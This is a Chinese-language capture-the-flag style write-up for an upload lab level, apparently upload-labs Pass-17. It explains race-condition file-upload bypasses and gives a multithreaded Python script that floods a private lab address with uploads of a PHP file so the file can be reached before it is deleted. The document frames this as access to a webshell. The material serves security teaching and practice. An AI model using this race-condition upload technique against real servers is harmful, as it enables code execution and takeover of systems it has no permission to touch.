#### Pass-17

Web中的条件竞争

Web服务器处理多用户请求时，是并发进行的，如果并发处理不当或者是相关的逻辑操作设计的不合理时，就可能导致条件竞争漏洞。

一个简单的例子：

将文件上传到服务器，然后检查上传的文件的类型，如果不符合条件就删除。

但是，如果我们采用多线程的方式访问上传的文件，总有一次我们在文件删除之前就访问到了这个文件，如果这个文件是php的一句话木马，就在服务器中执行了shell了哈

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装[hackhttp](https://github.com/BugScanTeam/hackhttp)模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。

#!/usr/bin/env python

# coding:utf-8

# Build By Cyberpeace

import hackhttp

from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):

hh = hackhttp.hackhttp()

raw = """POST /Pass-17/index.php HTTP/1.1

Host: 192.168.99.50

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Referer: http://192.168.99.50/Pass-17/index.php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------14474288709398

Content-Length: 327

-----------------------------14474288709398

Content-Disposition: form-data; name="upload\_file"; filename="17.php"

Content-Type: application/octet-stream

<?php phpinfo();?>

-----------------------------14474288709398

Content-Disposition: form-data; name="submit"

ä¸ä¼

-----------------------------14474288709398--

"""

code, head, html, redirect, log = hh.http('http://192.168.99.50/Pass-17/index.php', raw=raw)

print(str(code) + "\r")

pool = ThreadPool(10)

pool.map(upload, range(10000))

pool.close()

pool.join()

在脚本运行的时候，访问Webshell

